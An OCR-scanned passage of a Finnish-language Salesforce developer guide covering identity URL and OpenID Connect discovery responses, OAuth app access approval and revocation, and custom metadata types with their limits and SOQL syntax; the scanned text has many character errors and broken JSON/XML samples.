"urls":{"enterprise":"https://yourInstance.salesforce.com/services/Soap/c/{version}/00Dx00...",

"partner":"https://yourInstance.salesforce.com/services/Soap/u/{version}/00Dx00...",
"rest":"https://yourInstance.salesforce.com/services/data/v{version}/",
"sobjects":"https://yourInstance.salesforce.com/services/data/v{version}/sobjects/",
"search":"https://yourInstance.salesforce.com/services/data/v{version}/search/",
"query":"https://yourInstance.salesforce.com/services/data/v{version}/query/",
"recent":"https://yourInstance.salesforce.com/services/data/v{version}/recent/",

"profile":"https://yourInstance.salesforce.com/005x000...",
"feeds":"https://yourInstance.salesforce.com/services/data/v{version}/chatter/feeds",
"groups":"https://yourInstance.salesforce.com/services/data/v{version}/chatter/groups",
"users":"https://yourInstance.salesforce.com/services/data/v{version}/chatter/users",

"feed items":"https://yourInstance.salesforce.com/services/data/v{version}/chatter/feed-items"},
Mactivestrue, "user type!": "STANIARD', "larguece: en US", "locale”: "en US', "utcOFfiset:~28800000, "ochted at":"2013-12-02T18:46:42.000+0000"}

Alla on esimerkki XML-muotoisesta vastauksesta:

<?xml version="1.0" encoding="UTF-8"7?>

<user>

<sub>http://login.salesforce.com/id/00Dx000.../005x000...</sub>

<user 1d>005x000...</user id>

<organization id>00Dx000...</organization id>

<preferred username>userl1@1135222488950007.com</preferred username>
<nickname>userl1.3860098879512678E12</nickname>

<name>userl LastName</name>

<email>userl@1135222488950007.com</email>

<email verified>true</email verified>

<given name>userl</given name>

<family name>LastName</family name>

<zoneinfo>America/Los_Angeles</zoneinfo>

<photos>

<picture>https://yourInstance.salesforce.com/profilephoto/005/F</picture>
<thumbnail>https://yourInstance.salesforce.com/profilephoto/005/T</thumbnail></photos>
<profile>https://yourInstance.salesforce.com/005x000...</profile>
<picture>https://yourInstance.salesforce.com/profilephoto/005/F</picture>

<address>

<country>us</country>

</address>

<urls>
<enterprise>https://yourInstance.salesforce.com/services/Soap/c/{version}/00Dx0000002rThl</enterprise>
<metadata>https://yourInstance.salesforce.com/services/Soap/m/{version}/00Dx0000002rThl</metadata>
<partner>https://yourInstance.salesforce.com/services/Soap/u/{version}/00Dx0000002rIhl</partner>
<rest>https://yourInstance.salesforce.com/services/data/v{version}/</rest>
<sobjects>https://yourInstance.salesforce.com/services/data/v{version}/sobjects/</sobjects>
<search>https://yourInstance.salesforce.com/services/data/v{version}/search/</search>
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<query>https://yourInstance.salesforce.com/services/data/v{version}/query/</query>
<recent>https://yourInstance.salesforce.com/services/data/v{version}/recent/</recent>
<profile>https://yourInstance.salesforce.com/005x000...</profile>
<feeds>https://yourInstance.salesforce.com/services/data/v{version}/chatter/feeds</feeds>
<groups>https://yourInstance.salesforce.com/services/data/v{version}/chatter/groups</groups>
<users>https://yourInstance.salesforce.com/services/data/v{version}/chatter/users</users>
<feed items>https://yourInstance.salesforce.com/services/data/v{version}/chatter/feed-items</feed items>
</urls>

<active>true</active>

<user_ type>STANDARD</user type>

<language>en US</language>

<locale>en US</locale>

<utcOffset>-28800000</utcOffset>

<updated at>2013-12-02T18:46:42.000Z2</updated_at>

</user>

Seuraavat vastaukset ovat mahdollisia Salesforcelta virheelliseen pyyntoon.

Virhekoodi Pyyntéongelma

403 (forbidden) — HTTPS_Required HTTP

403 (forbidden) — Missing_OAuth_Token Puuttuva kdyttévaltuus

403 (forbidden) — Bad_OAuth_Token Kayttovaltuus ei kelpaa

403 (forbidden) — Wrong_Org Kéyttajid toisessa organisaatiossa

404 (not found) — Bad_Id Virheellinen kayttdja- tai organisaatiotunnus
404 (not found) — Inactive Ei-aktiivinen kayttdjd tai organisaatio

404 (not found) — No_Access Kayttajalld ei ole kdyttdoikeutta organisaatioon tai tietoihin
404 (not found) — No_Site_Endpoint Pyyntd sivuston virheelliseen paatepisteeseen
404 (ei Ioytynyt) — Sisdinen virhe Ei vastausta palvelimelta

406 (not acceptable) — Invalid_Version Virheellinen versio

406 (not acceptable) — Invalid_Callback Virheellinen callback

OpenlID Connect Discovery -pddtepiste

OpenID Connect Discovery -pdatepiste on staattinen sivu, jota voidaan kdyttda Salesforce OpenlD EDITION-VERSIOT
Connect -kokoonpanon tietojen pyytdmiseen (ilman istuntoa). Salesforce palauttaa tietoja
paatepisteistd, tuetuista vaikutusalueista ja muista OpenlID Connect -valtuutukseen kdytetyista
arvoista.

Kéytettavissa: Salesforce
Classicissa

URL-osoitteen muoto on: Kaytettavissa: kaikissa

https://login.salesforce.com/.well-known/openid-configuration. Versioissa.

@ Nofe: Sandboxille osoite 1ogin.salesforce.com korvataan osoitteella
test.salesforce.com

URL-osoitteen tdytyy olla aina HTTPS.

228



Paranna Salesforcea koodilla Sovellusten integrointi Salesforcen kanssa

OpenID Connect Discovery -padtepisteen vastaus
URL-pyynt6 palauttaa tiedot vain JSON-muodossa.

Alla on esimerkki JSSON-muotoisesta vastauksesta:

{"issuer":"https://login.salesforce.comn",

"authorization endpoint":"https://login.salesforce.com/services/ocauth2/authorize",
"token endpoint":"https://login.salesforce.com/services/oauth2/token",

"revocation endpoint":"https://login.salesforce.com/services/oauth2/revoke”,
"userinfo endpoint":"https://login.salesforce.com/services/oauth2/userinfo",
"jwks_uri":"https://login.salesforce.com/id/keys",
"scopes_supported":["id","api", "web","full", "chatter api",

"visualforce","refresh token","openid","profile", "email",

"address", "phone","offline access", "custom permissions"],

"response types supported":["code","token","token id token"],
"subject types supported":["public"],
"id token signing alg values_ supported":["RS256"],

"display values supported":["page", "popup","touch"],
"token endpoint auth methods supported":["client secret post","private key jwt"] }

Todennuskokoonpanon padtepiste

Todennuskokoonpanon paatepiste on staattinen sivu, jota voidaan kdyttda organisaation EDITION-VERSIOT
SAML-kertakirjautumisen ja todentajien asetusten tietojen kyselyihin. Istuntoa ei tarvita. Se on
kdytettavissa vain Salesforce-yhteiséille tai mukautetuille toimialueille. Kdytd tata URL-osoitetta, kun
kehitat sovelluksia, jotka tarvitsevat nditd tietoja pyydettdessa.

Kéytettavissa: Salesforce
Classicissa

Salesforce palauttaa todennuskokoonpanon péatepisteen pyyntoon perustietoja JSON-muodossa.
Namad tiedot sisdltavat todennus- ja rekisterdintiasetuksia, branddysomaisuuksia ja muita arvoja,
jotka liittyvat yhteisdn tai mukautetun toimialueen kayttdjien kertakirjautumisen tukeen.

Kaytettavissa: kaikissa
Edition-versiossa

URL-osoitteen muoto on: https://<yhteisén tai mukautetun toimialueen
URL>/ .well-known/auth-configuration. Esimerkki:
https://acme.my.salesforce.com/.well-known/auth-configuration.

Todennuskokoonpanon pddtepisteen vastaus
Todennuskokoonpanon pdatepiste palauttaa tietoja vain JSON-muodossa.

Alla on esimerkki vastauksesta.

@ Note: Arvo UseNativeBrowserForAuthentication onaina false yhteisoille.

Seuraavat arvot ovat kdytettavissd vain yhteisdille, jane ovat £alse tainull Oma toimialue -ominaisuudella luoduille mukautetuille
toimialueille.

® SelfRegistrationEnabled

® SelfRegistrationUrl

® DefaultProfileForRegistration
® FooterText

® UsernamePasswordEnabled

"OrgId": "OODDOO####HH##HEH",
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"Url": "https://acme.force.com/partners",
"LoginPage": {
"LoginPageUrl":
"LogoUrl": "https://acme.force.com/partners/img/logol90.png",
"BackgroundColor": "#B1BAC1",
"SelfRegistrationEnabled": true,
"FooterText": "acme.com",
"UsernamePasswordEnabled": false
I

"SamlProviders": [{
"name": "ADFS",
"SsoUrl": "https://adfs.my.salesforce.com?so=00DBOO0###H#HFH#HHF#"

by
{

Sovellusten integrointi Salesforcen kanssa

"https://acme.force.com/partners/CommunitiesLogin",

"name": "SF Identity",

"SsoUrl": "https://sfid.my.salesforce.com?so=00DBO0###H#HFH#HH##"

Pl

"AuthProviders": [{

"name": "LinkedIn",

"IconUrl": "https://www.linkedin.com/logos/img/logo.png",

"SsoUrl": "https://login.salesforce.com/services/auth/sso/00DBO0000#########/LinkedIn"
by

{

"name": "Facebook",

"IconUrl": "https://www.facebook.com/logos/img/logo.png",

"SsoUrl": "https://login.salesforce.com/services/auth/sso/00DBO0000########4#/Facebook"

}H]

Hyvaksy tai hylkad kayttdoikeuspyynto

Sovelluksen kdyttdoikeuspyyntd

Kayttdmasi ulkoinen sovellus pyytdd kayttdoikeutta Salesforce-tietoihisi. Padkayttdjasi on jo integroinut
ulkoisen sovelluksen Salesforceen.

Myonna kdyttooikeus Salesforce-tietoihisi napsauttamalla Salli.

Jos sovelluksen kuvaus ei vastaa kdyttdmaasi sovellusta, tai jos et jostain syysta halua myontda
kayttooikeutta tietoihisi, valitse Hylkaa.

Jos et ole talld hetkelld sisadnkirjautunut kayttdjd, napsauta Et sina? kirjataksesi nykyisen kayttajan
ulos ja kirjautuaksesi itse sisaan.

Voit antaa ainoastaan kayttdoikeuden ulkoiseen sovellukseen maarattyja kertoja. Yleisesti ottaen
voit antaa kdyttdoikeuden jokaiselle kayttamalldsi laitteelle, kuten kannettava tietokone ja pdytakone.
Oletusarvo on viisi kdyttdoikeutta sovellusta kohti. Jos olet saavuttanut organisaatiosi rajoituksen,
kdyttooikeuden myontdminen tahdn sovellukseen kumoaa automaattisesti vanhimman
kayttooikeusvaltuuden kayttdoikeuden. Peruutettavan etakayttdsovelluksen tunnus tai tunnukset
nakyvat sivulla.
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Kun olet myodntanyt kayttdoikeuden etakayttosovellukselle, voit kumota sen mydhemmin henkildkohtaisista tiedoistasi.

1. Kirjoita henkilokohtaisten asetustesi Pikahaku-kenttddn Kayttdjdn lisdtiedot javalitse Kayttdjan lisatiedot. Eikd
tuloksia 16ydy? Kirjoita Pikahaku-kenttddn HenkilSkohtaiset ja valitse Henkilokohtaiset.

2. Yhdistetyt OAuth-sovellukset -osiosta voit suorittaa seuraavat toimet:

e Tarkastele tietoja kustakin etdkdyttdsovelluksesta, joihin sinulla on kdyttdoikeus samoin kuin niiden kertojen lukuméaaraa ja

viimeista kertaa, kun sovellus yritti kayttaa tietojasi.

@ Note:

- Sovellus saattaa olla lueteltuna useammin kuin kerran. Joka kerta kun annat kdyttooikeuden sopvellukseen, se sisaltda
uuden kayttooikeustunnuksen. Pdivitysvaltuuksien pyynnét nostavat sovellukselle ndytettavad Kayton maidra
-arvoa. Sinun taytyy antaa kayttdoikeus Salesforce-tietoihisi kullekin laitteelle, jota kaytat, esimerkiksi sekd kannettavalle
tietokoneelle ettd poytakoneelle. Oletusraja on viisi kayttéoikeustunnusta kullekin sovellukselle. Uudemmat sovellukset
(jotka kayttavat OAuth 2.0 -protokollaa) hyvaksytadn automaattisesti lisdlaitteille, kun olet myontanyt kayttdoikeuden
kerran. OAuth 2.0 -sovellukset saattavat olla lueteltuna useampaan kertaan. Taulukon kukin rivi osoittaa yksil6llista
oikeutta, joten jos sovellus pyytad useita valtuuksia eri vaikutusalueilla, ndet saman sovelluksen monta kertaa.

- Vaikka yhdistetty sovellus yritti ja epdonnistui kdyttamdan tietojasi, koska sen sisadnkirjautuminen ei onnistunut,
Kayttékertojen midri-ja Viimeksi kdytetty -kentdt pdivitetadn silti.

e Napsauta Kumoa kumotaksesi sovelluksen kayttoikeudet. Kun olet peruuttanut sovelluksen, sovellus ei voi endd kayttda tuota

kyseistd etdkdyttovaltuutuksen valtuutusta Salesforce -tietojasi kdyttadkseen.

@ Tarkedd: Sinun téytyy peruuttaa kaikki kayttooikeustunnukset maaratylle sovellukselle estéddksesi sitd kayttamasta

Salesforce-tietojasi.

KATSO MYOS:
Sovelluksen kdyttooikeuspyyntd hyvaksytty

Sovelluksen kayttoikeuspyynto evdtty

Sovelluksen kdyttdoikeuspyynto hyvaksytty

Kéyttamadsi ulkoinen sovellus pyysi kdyttdoikeutta Salesforce-tietoihisi, ja hyvaksyit tdman pyynnon.
Sulje selainikkuna ja palaa kdyttamaasi sovellukseen.

Kun olet myontanyt kayttdoikeuden etdkayttdsovellukselle, voit kumota sen myéhemmin
henkilokohtaisista tiedoistasi.

1. Kirjoita henkilokohtaisten asetustesi Pikahaku-kenttdan Kdyttdjdn lisdtiedot ja
valitse Kayttajan lisatiedot. Eiko tuloksia 16ydy? Kirjoita Pikahaku-kenttddn
Henkilbkohtaiset javalitse Henkilokohtaiset.

2. Yhdistetyt OAuth-sovellukset -osiosta voit suorittaa seuraavat toimet:

e Tarkastele tietoja kustakin etdkayttosovelluksesta, joihin sinulla on kdyttdoikeus samoin kuin
niiden kertojen lukumadaraa ja viimeista kertaa, kun sovellus yritti kdyttaa tietojasi.

@ Note:

- Sovellus saattaa olla lueteltuna useammin kuin kerran. Joka kerta kun annat
kdyttooikeuden sopvellukseen, se sisdltda uuden kayttdoikeustunnuksen.
Paivitysvaltuuksien pyynnét nostavat sovellukselle ndytettdvdd Kaytén maara
-arvoa. Sinun taytyy antaa kayttdoikeus Salesforce-tietoihisi kullekin laitteelle, jota
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Kéytettavissa: kaikissa
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KAYTTJAOIKEUDET

OAuth-sovellusten hallinta,

luominen, muokkaaminen

ja poistaminen:

e "Yhdisteftyjen sovellusten
hallinta”
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kdytat, esimerkiksi sekd kannettavalle tietokoneelle ettd pdytdkoneelle. Oletusraja on viisi kdyttdoikeustunnusta kullekin
sovellukselle. Uudemmat sovellukset (jotka kayttavat OAuth 2.0 -protokollaa) hyvaksytadn automaattisesti lisdlaitteille,
kun olet myontanyt kdyttdoikeuden kerran. OAuth 2.0 -sovellukset saattavat olla lueteltuna useampaan kertaan.
Taulukon kukin rivi osoittaa yksiléllistd oikeutta, joten jos sovellus pyytda useita valtuuksia eri vaikutusalueilla, ndet
saman sovelluksen monta kertaa.

- Vaikka yhdistetty sovellus yritti ja epdonnistui kdyttamdan tietojasi, koska sen sisadnkirjautuminen ei onnistunut,
Kayttdkertojen madra-ja Viimeksi kaytetty -kentdt pdivitetdan silti.

e Napsauta Kumoa kumotaksesi sovelluksen kayttoikeudet. Kun olet peruuttanut sovelluksen, sovellus ei voi endd kayttda tuota
kyseistd etdkdyttovaltuutuksen valtuutusta Salesforce -tietojasi kdyttadkseen.

Tarkedd: Sinun téytyy peruuttaa kaikki kayttooikeustunnukset maaratylle sovellukselle estddksesi sita kayttamasta
Salesforce-tietojasi.

KATSO MYOS:
Sovelluksen kayttdoikeuspyynto evdtty

Sovelluksen kdyttdoikeuspyyntd

Sovelluksen kdyttooikeuspyyntd evatty

Kayttamdsi ulkoinen sovellus pyysi kdyttdoikeutta Salesforce-tietoihisi, ja hylkdsit tdman pyynnon. EDITION-VERSIOT
Sinun tulisi kirjautua ulos Salesforcesta. Voit palata alkuperdiseen sovellukseen.

Kéytettavissa: Salesforce

KATSO MYOS: Classicissa
Sovelluksen kdyttooikeuspyyntd hyvaksytty Kaytettavissd: kaikissa
Sovelluksen kdyttdoikeuspyyntd versioissa

KAYTTJAOIKEUDET

OAuth-sovellusten hallinta,

luominen, muokkaaminen

ja poistaminen:

e "Yhdistettyjen sovellusten
hallinta”
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Mukautetut metadata-tyypit

Mukautetut metadata-tyypit

Voit luoda omia, deklaratiivisia kehittajien sovelluskehyksia sisdisille tiimeille, kumppaneille ja EDITION-VERSIOT
asiakkaille. Sen sijaan, etta laatisit sovelluksia pelkdn datan perusteella, voit laatia sovelluksia, jotka
perustuvat niiden omiin metadata-tyyppeihin. Metadata on tietoa, joka kuvaa kunkin asiakkaan
organisaation kokoonpanon.

Kaytettavissa: Salesforce
Classicissa ja Lightning
Mukautettu metadata on sovellusten metadataa, jota voidaan mukauttaa, ottaa kayttoon, pakata Experiencessa

ja paivittad. Luo ensin mukautettu metadata-tyyppi, joka madrittad sovelluksen metadatan muodon.
Laadi sitten uudelleenkdytettava toimintamalli, joka maarittda kdyttdytymisen luomasi Enterprise-, Performance-,
metadata-tyypin perusteella. Mukautetulla metadata-tyypilld on mukautetun objektin tai mukautetun Unlimited-, Developer- ja
asetuksen tapaisesti useita mukautettuja kenttig, jotka edustavat metadatan eri osa-alueita. Kun Database.com-versioissa
olet luonut julkisen mukautetun metadata-tyypin, sind ja muut voitte luoda mukautettuja
metadatatietueita deklaratiivisesti kyseisen tyypin perusteella. Kun pakkaat julkisen mukautetun
metadata-tyypin, paketin asentavat kayttdjdt voivat listd omia tietueitaan metadatatyyppiin.
Uudelleenkéytettdvd toimintamallisi lukee mukautetun metadatasi ja kdyttda sita sovelluksen
mukautetun kdyttdytymistavan tuottamiseksi.

Kayteftavissa: Professional-,

Professional Edition
-organisaatiot voivat luoda,
muokata ja poistaa vain
asennettujen pakettien
tyyppien mukautettuja
Mukautetun metadatan rivit muistuttavat rakenteeltaan mukautettujen objektien rivejd. Voit luoda, metadatatietueita.

muokata ja poistaa mukautetun metadatan riveja Metadata API:lla tai Madritykset-valikosta. Koska

tietueet ovat metadataa, voit siirtad niita paketeilla tai Metadata API -tydkaluilla. Mukautetut

metadatatietueet ovat Vain luku -muotoisia Apexissa seka Enterprise- ja Partner API -rajapinnoissa.

Mukautettujen metadata-tyyppien avulla voit lisdta rajattoman maaran Salesforce Object Query Language (SOQL) -kyselyitd jokaiseen
Apex-transaktioon.

Mukautetut metadata-tyypit tukevat seuraavia mukautettuja kenttatyyppeja.
® Metadatasuhde

e Valintaruutu

e Paivays

e Pdivdys ja aika

e Sahkoposti

e Numero
e Prosentti
e Puhelin

e Valintaluettelo
o Teksti

e Tekstialue

e URL

Mukautetun metadatatyypin sisaltavan paketin tilaaja ei voi lisatd omia kenttia kyseiseen tyyppiin. Vain tyypin kehittdnyt organisaatio
voi lisétd siihen mukautettuja kenttia.

Mukautetut metadatakentat ovat hallittavia, eli tyypin kehittdja voi padttad, kuka voi muuttaa kenttien arvoja, kun ne on otettu kayttoon
tilaajaorganisaatiossa.

e Lukittu julkaisun jalkeen — Tietuetyypin kaikkien tietueiden kentdt ovat muuttumattomia kayttddnoton jalkeen, myos
kehitysorganisaatiossa, jossa tietue luotiin.
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e Tilaajan muokattavissa — Kuka tahansa, jolla on asiaankuuluvat kayttdoikeudet, voi muuttaa kentdn arvoa halutessaan. Kehittdjan
kdyttoonottamat arvot eivat korvaa tilaajaorganisaatiossa olevia arvoja.

e Paivitettavissa — Tietueen kehittdja voi muuttaa kentédn arvoa julkaisemalla mukautetun metadatan paketista uuden version. Tilaaja
ei voi muuttaa kentdn arvoa.

Mukautetuilla metadata-tyypeilld ja -tietueilla on nimet ja otsikot. Tyyppien nimien tdytyy olla yksilollisid nimiavaruudessaan. Tietueiden
nimien tdytyy olla yksilollisid metadata-tyypissdan ja nimiavaruudessaan.

Mukautetut metadatatietueet voidaan suojata. Jos kehittdjd julkaisee suojattuja tietueita hallittavassa paketissa, niiden kdyttoa on rajoitettu
tietyn tavoin.

e Koodi, joka on samassa paketissa kuin mukautetut metadatatietueet, voi lukea tietueita.

e Koodi, joka on samassa paketissa kuin mukautetut metadatatyypit, voi lukea kyseisen tyypin tietueita.
e Koodi, jonka hallittava paketti ei sisdlld tyyppid tai suojattua tietuetta, ei voi lukea suojattuja tietueita.
e Koodi, jonka tilaaja luo ja joka siséltyy ei-hallittavaan pakettiin, ei voi lukea suojattuja tietueita.

e Kehittdja voi muokata suojattuja tietoja vain paivittamalld paketin. Tilaaja ei voi lukea tai muokata suojattuja tietueita. Suojatun
tietueen kehitysnimed ei voi muuttaa julkaisun jdlkeen.

Jos luot suojatun mukautetun metadatatietueen organisaatiossasi, vain koodisi, ei-hallittavien pakettien koodi ja tyypin madrittavan
hallitun paketin koodi voivat kayttad sitd.

Myds mukautetut metadatatyypit voidaan suojata, jolloin ne tarjoavat saman tietoturvan kuin suojatut tietueet. Jos muutat suojatun
tyypin julkiseksi, sen suojatut tietueet pysyvat suojattuina ja kaikista muista tietueista tulee julkisia. Jos luot Madritykset-valikosta tietueen
kayttamadlla suojattua tyyppid, Suojattu komponentti -valintaruutu on valittuna oletusarvoisesti. Julkista tyyppid ei voi muuttaa suojatuksi.
Tilaaja ei voi luoda tietueita kayttamalld suojattua tyyppia.

Mukautettujen metadatatyyppien rajoitukset
Ota huomioon seuraavat erityistapaukset ja rajoitukset, kun kaytat mukautettuja metadatatyyppeja. EDITION-VERSIOT

Tyyppien ja tietueiden paivittaminen

Et voi paivittad asennetussa hallittavassa paketissa olevia suojattuja tyyppejd ja tietueita Kaytettdvissa: Salesforce
ohjelmallisesti. Voit muokata suojattuja tyyppejd ja tietueita vain pdivittamalld paketin. Classicissa ja Lightning
Experiencessa

Et voi paivittaa julkisia tyyppejd ja tietueita suoraan Apexilla. Jos haluat muokata tietueita
Apexista, sinun tdytyy tehda Metadata API -kutsuja. Kaytettavissa: Professional-,
Enterprise-, Performance-,
Unlimited-, Developer- ja
Database.com-versioissa

Sovellusten kayttoian hallintatyokalut
Mukautetut metadatatyypit eivat tue seuraavia sovellusten kdyttéidan hallintatydkaluja:
* Version hallinta Professional Edition
e Tooling API -organisaatiot voivat luoda,
e Kehittdjan konsoli muokata ja poistaa vain
asennettujen pakettien
tyyppien mukautettuja
metadatatietueita.

Lisenssit
Lisdosapaketille madritettyja lisensseja ei sovelleta paketissa oleviin mukautettuihin
metadatatietueisiin, elleivdt myds niiden tyypit sisally pakettiin.

soqQL
Mukautetut metadatatyypit tukevat seuraavaa syntaksia SOQL-kyselyille.

SELECT fieldList [...]
FROM objectType
[USING SCOPE filterScope]
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[WHERE conditionExpression]
[ORDER BY field {ASC|DESC} [NULLS {FIRST|LAST}] ]

e \Voit kayttad metadatasuhteiden kenttida fieldList-ja conditionExpression-kyselyissa.
e FROM Voi sisdltda vain 1 objektin.
e Voit kdyttad seuraavia operaattoreita.

—= 1IN Ja NOT IN

- = >, >= < <=ja!l=

LIKE, mukaan lukien jokerimerkit

- JA

e FEtvoikdyttdd ORDER BY -operaattoria suhdekentissa.

e \Voit kdyttdd ORDER BY-, ASC-ja DESC-operaattoreita useissa (ei-suhde)kentissa.
e \Voitkdyttdd ORDER BY -operaattoria vain, kun tilattu kentta on valittu kentta.

e Metadatasuhteiden kentdt tukevat kaikkia vakiomuotoisia suhdekyselyitd.

Suojatut mukautetut metadatatyypit
Tilaajat eivat voi lisdta mukautettuja metadatatietueita asennettuihin mukautettuihin metadatatyyppeihin, jotka on suojattu. Jos
haluat tilaajien luovan mukautettuja metadatatietueita, mukautetun metadatatyypin taytyy olla julkinen.

Metadata API palauttaa suojattujen, mukautettujen entiteettien maaritelmat (mutta ei mukautettuja metadatatietueita)
tilaajaorganisaatioissa.

Vilimuistiin tallentaminen
Mukautetut metadatatietueet tallennetaan valimuistiin tyyppitasolla ensimmadisen lukupyynnon jalkeen. Valimuistiin tallentaminen
parantaa mydhempien pyyntdjen suorituskykyd. Pyynnot, jotka ovat kesken metadatan paivityksen aikana, eivdt saa uusinta metadataa.

Globaali valintaluettelot
Globaaleja valintaluetteloita ei tueta mukautetuissa metadata-tyypeissd. Voit kdyttad vain sObject-valintaluetteloita.

Valintaluettelot ja hallittavat paketit

e Voit lisdtd hallittavaan pakettiin mukautetun metadatatyypin, jolla on ei-aktiivisia arvoja sisdltava valintaluettelo, mutta et voi
ladata pakettia palvelimelle. Jos haluat ladata paketin palvelimelle, poista tai aktivoi valintaluetteloarvot.

e Tilaajat, jotka ovat tilanneet julkaistun hallittavan paketin, jossa on valintaluettelokentdn sisdltava mukautettu metadatatyyppi,
eivdt voi lisdtd, poistaa tai deaktivoida valintaluettelon arvoja.

e Kehittdjat, jotka julkaisevat hallittavan paketin, jossa on valintaluettelokentan sisaltdva mukautettu metadatatyyppi, voivat lisata
valintaluetteloon arvoja, mutteivét poistaa tai deaktivoida niita.
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Mukautetun metadatan rajoitukset

Ota huomioon ndama mukautettujen metadatatyyppien ja -tietueiden vaatimukset. EDITION-VERSIOT
Kuvaus Enimmdismadrd Kaytettavissa: Salesforce
SOQL-kyselyita per Apex-transaktio Fi rajoitusta Classicissa ja Lightning

Experiencessa
Mukautettua metadataa per organisaatio * 10 Mt

Kaytettavissa: Professional-,
Mukautettua metadataa per sertifioitu hallittava 10 Mt Enterprise-, Performance-,

paketti * o Unlimited-, Developer- ja
@ Note: Asentamistasi sertifioiduista Database.com-versioissa
hallittavista paketeista saatuja fessional Edit
mukautettuja metadatatietueita ei lasketa Pro esslono. E |T|9n
o . -organisaatiot voivat luoda,
organisaatiosi rajoitukseen. ltse luomasi . : .
: L muokata ja poistaa vain
mukautetut metadatatietueet kuitenkin ) .
lasketaan rajoitukseen. Tama saanto asennefiujen pakeftien
pretaanfa) o otk tietue tyyppien mukautettuja

pdtee riippumatta siitd, luotko t|etue|tf'a' metadatatietueita.
omaan mukautettuun metadatatyyppiisi
vai sertifioidusta hallittavasta paketista
saatuun tyyppiin.

Kenttid per mukautettu metadatatyyppi tai 100

-tietue

Mukautettuja metadatatyyppeja per 100. Tdma luku sisaltaa kaikki organisaatiossa

organisaatio kehitetyt tyypit sekd hallittavista ja ei-hallitavista

paketeista saadut tyypit.
Merkkeja per kuvauskenttd 1000
Palautettuja tietueita per transaktio 50000

* Tietueen koko perustuu kunkin kenttdtyypin enimmaiskokoon, eikd kunkin kentdn kdyttamdan todelliseen sdilytystilaan. Kun lisaat
kenttid mukautettuun metadatatietueeseen, kdytd sopivaa tyyppid ja maaritd tiedoillesi tarvittava pituus. Ndin valtyt valimuistiin
tallennettavien tietojen rajoituksen ylittymiselta. Jo esimerkiksi luot kentdn henkilotunnuksille, valitse sille datatyypiksi Teksti ja
mddritd sen pituudeksi 11. Jos sen sijaan valitsisit Tekstialue, kenttd lisdisi tietueen kayttamiin tietoihin 255 merkkid riippumatta
siitd, montako merkkid kenttdan syotetadn.

236



Paranna Salesforcea koodilla

Sovellusten integrointi Salesforcen kanssa

Mukautettujen metadatatyyppien ja -tietueiden luominen, muokkaaminen ja poistaminen

Voit luoda, paivittad ja poistaa mukautettuja metadatatyyppeja ja -tietueita Maaritykset-valikosta
deklaratiivisesti. Kdytd Metadata APl:a suorittaaksesi ndma tehtdvat ohjelmallisesti.

Lisdtietoja mukautettujen metadatatyyppien luomisesta ja hallinnasta ohjelmallisesti on Metadata
API Developer Guide -oppaan osiossa "Custom Metadata Types (CustomObject)”.

Mukautetun metadatatyypin madrittéminen deklaratiivisesti

Kayta Salesforce-kdyttoliittymad luodaksesi mukautettuja metadatatyyppejd deklaratiivisesti.

1.
2.

Hae Madritykset-valikosta Mukautetut metadata-tyypit.

Napsauta Kaikki mukautetut metadata-tyypit -sivulta Uusi mukautettu metadata-tyyppi tai
napsauta olemassa olevan mukautetun metadatatyypin otsikkoa.

Taytd ndmad kentat.

Kentta
Otsikko

Monikkamuotoinen
otsikko

Alkaa
vokaalidanteelld

Objektin

nimi

Kuvaus

Nakyvyys

Kuvaus
Tama nimi viittaa kdyttoliittymadsivun tyyppiin.

Tyypin monikkomuotoinen nimi. Jos luot vdlilehden télle tyypille, tdta
nimed kdytetdan valilehdessa.

Jos organisaatiosi oletuskielen mukaan otsikon vokaalidgdnteelld on
merkitystd, osoita, millainen méare otsikon alussa pitdd olla.

Yksiloiva nimi, jolla viitataan objektiin APl:a kdytettaessd. Hallittavissa
paketeissa yksiloivalld nimella estetadn nimiristiriidat pakettien
asennuksissa. Kdyta vain aakkosnumeerisia merkkejd ja alaviivoja. Nimen
taytyy alkaa kirjaimella eikd se saa siséltaa valilyontejd. Se ei voi loppua
alaviivaan eika siind voi olla 2 perakkaistd alaviivaa.

Objektin valinnainen kuvaus.

Kuka nékee tyypin:

e Julkinen — Nakyvissa kaikille.

e Suojattu — Jos tyyppi on asennettu osana hallittavaa pakettia, vain
hallittavan paketin Apex-koodi voi kdyttad sitd.
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Kéytettdvissd: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettavissa: Professional-,
Enterprise-, Performance-,
Unlimited-, Developer- ja
Database.com-versioissa

Professional Edition
-organisaatiot voivat luoda,
muokata ja poistaa vain
asenneftujen pakettien
tyyppien mukautettuja
metadatatietueita.

EDITION-VERSIOT

Kéytettavissa: Salesforce
Classicissa ja Lightning
Experiencessa

Kaytettavissd: Professional-,
Enterprise-, Performance-,
Unlimited-, Developer- ja
Database.com-versioissa

Professional Edition
-organisaatiot voivat luoda,
muokata ja poistaa vain
asennettujen pakettien
tyyppien mukauteftuja
metadatatietueita.

KAYTTJAOIKEUDET

Mukautettujen
metadatatyyppien luominen
tai muokkaaminen:

e Apex-laadintaoikeus


https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/
https://developer.salesforce.com/docs/atlas.en-us.api_meta.meta/api_meta/
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4. Napsauta Tallenna.

Napsauta Mukautetut kentdt -osiosta Uusi aloittaaksesi kenttien lisddmiseen mukautettuun metadatatyyppiin. Niin kuin muillakin
mukautetuilla kentilld, sinun taytyy madrittad, minkdtyyppista tietoa kenttd sisdltad, esimerkiksi valintaluettelo tai metadatasuhde.
Muista valita kullekin kentdlle Kentéan hallittavuus -arvo madrittaaksesi, kuka voi muuttaa kenttdd mydhemmin.

Field Label IIS checked i

Default Value Checked
# Unchecked

Field Name |||5_checkec|

Description

Help Text

Field Manageability ~ Who can change field values after records are installed via managed package?
#» Only the package developer (via package upgrade)
Any user with the Customize Application permission (package upgrades won't overwrite the value)
No one

@ Note: Ennen Winter '15 -julkaisua luodut mukautetut metadatatyypit eivat saa automaattisesti asetteluita. Ennen kuin lisaat,
paivitat tai tarkastelet tdman mukautetun metadatatyypin tietueita kayttoliittymdstd, sinun taytyy lisata asettelu, joka sisaltaa kaikki
kentdt, joiden muokkauksen haluat sallia. Napsauta Kaikki mukautetut metadata-tyypit -sivulta mukautettua metadatatyyppid.
Napsauta sitten Sivunasettelut-osiosta Uusi. Jos aiot julkaista mukautetun metadatatyypin hallittavana pakettina, muista lisatd
kaikki haluamasi kentat ensin. Kun asiakas on ladannut hallittavan paketin, sinun tdytyy muuttaa asettelua manuaalisesti, koska et
voi lisata siihen kenttid pdivityksen avulla.

Mukautettujen metadatatietueiden lisdéminen tai muokkaaminen deklaratiivisesti

